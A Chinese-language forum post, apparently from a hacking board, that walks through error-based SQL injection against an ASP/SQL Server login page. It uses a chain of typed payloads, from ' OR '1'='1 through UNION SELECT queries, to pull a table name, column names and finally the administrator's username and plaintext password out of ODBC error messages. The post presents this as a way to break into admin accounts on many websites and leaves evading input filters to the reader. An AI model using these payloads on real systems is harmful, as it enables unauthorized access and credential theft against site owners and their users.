永远的FLASH
级别:刀光雪影版主 威望:3 经验:1 货币:5852 体力: 来源:江苏 总发帖数:2264 注册日期:2002-02-11 |
|
查看 邮件 主页 QQ 消息 引用 复制 下载
SQL
Injection/Insertion Attacks 這個漏洞相信很多人都知道,也在黑客界流傳了很久,此漏洞對於以SQL
作為資料庫的WEB 有相當的威脅性 ,目前的網站有70%
以上也都含有這個漏洞,其中包括一些商務網站由此可知傷害性有多大,言歸正傳ㄅ....
相信一定常看到一些http
FORMs 使用query SQL server建立資料庫的網站
但不是每個人都能登入的除非妳是會員或是管理者,這時如果能夠搞到admin 的密碼那應該不錯,這也正是我們要作ㄉ!!!
在登入畫面的使用者名稱上我們試著鍵入 blah' OR '1'='1 然後回應 這時伺服器敘述:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e14' [Microsoft][ODBC SQL Server Driver][SQL
Server]Incorrect syntax near the keyword 'or'.
/admin/admin.asp, line 10
伺服器錯?***因為我們嘗試使用 OR
在這個儲存程序中 ,看來存取程序並沒有順利 的進行下去,讓我們回到上一頁的登入畫面 ,這次試試鍵入
sensepost'
ODBC 又出現以下錯?*** :
Microsoft
OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed
quotation mark before the character string 'sensepost' AND
Password=''. /admin/admin.asp, line 13
'80040e14' 似乎是個字符catch-all/bad
的錯?***訊息,有趣的是錯?***訊息中暴露 出 SQL 查詢表格中的一個查詢欄位名
這次我們依據這個欄位名重新再來一次,這次我們鍵入:
sensepost' group by
(password)--
(password)這個欄位名是我們之前所獲得ㄉ...@@ 這次 ODBC
錯?***返回 :
Microsoft OLE DB Provider for ODBC Drivers
error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL
Server]Column 'Admin.Userid' is invalid in the select list because
it is not contained in either an aggregate function or the GROUP
BY clause. /admin/admin.asp, line 13
這次錯?***訊息給了我們表格名 'Admin' 和另一個欄位名 'Userid'
我們需要知道有多少的欄位在這個表格中,so we go back to our login screen and try :
sensepost' union select userid from Admin--
ODBC
錯?***訊息 :
Microsoft OLE DB Provider for ODBC Drivers
error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL
Server]All queries in an SQL statement containing a UNION
operator must have an equal number of expressions in their
target lists. /admin/admin.asp, line 13
伺服器說明我們使用的UNION運算子沒有符合Admin Table 中的正確欄位編號 We go
back to the login and try :
sensepost' union select
userid,userid from Admin--
這次的返回訊息怎麼還是與上面一樣,沒關西我們繼續增加欄名直到ODBC error message
stops.(這個例子中,一直增加到如以下才成功login)
sensepost' union select
userid,userid,userid,userid,userid from Admin--
這次出現的error
message變成:
Microsoft OLE DB Provider for ODBC Drivers
error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the varchar value 'superAdmin' to
a column of data type int. /admin/admin.asp, line 13
SQL試著去執行我們其中的一個欄位"userid"的請求,server返回表格中的第一個
userid的值,通常第一個user都是 admin 喔.下一步當然是得到她的密碼囉..
sensepost'
union select password,password,password,password,password from
Admin--
訊息返回:
Microsoft OLE DB Provider for ODBC
Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the varchar value 'h1dd3n' to a
column of data type int. /admin/admin.asp, line 13
這樣我們就獲得了一個有效的身分 username "superadmin" & password
"h1dd3n" 而且還是管理者的身分 此部份不包含全部網站的應用所以還是需要自己去多方嘗試一下ㄉ.
終於寫完了,手都酸ㄌ.
#相關的文章http://www.sandflee.net/txt/list.asp?id=149
#有些網站會作特殊字元及輸入長度的限制,這個部份就靠各位的想像力去解決ㄌ,這裡就不作解說了
|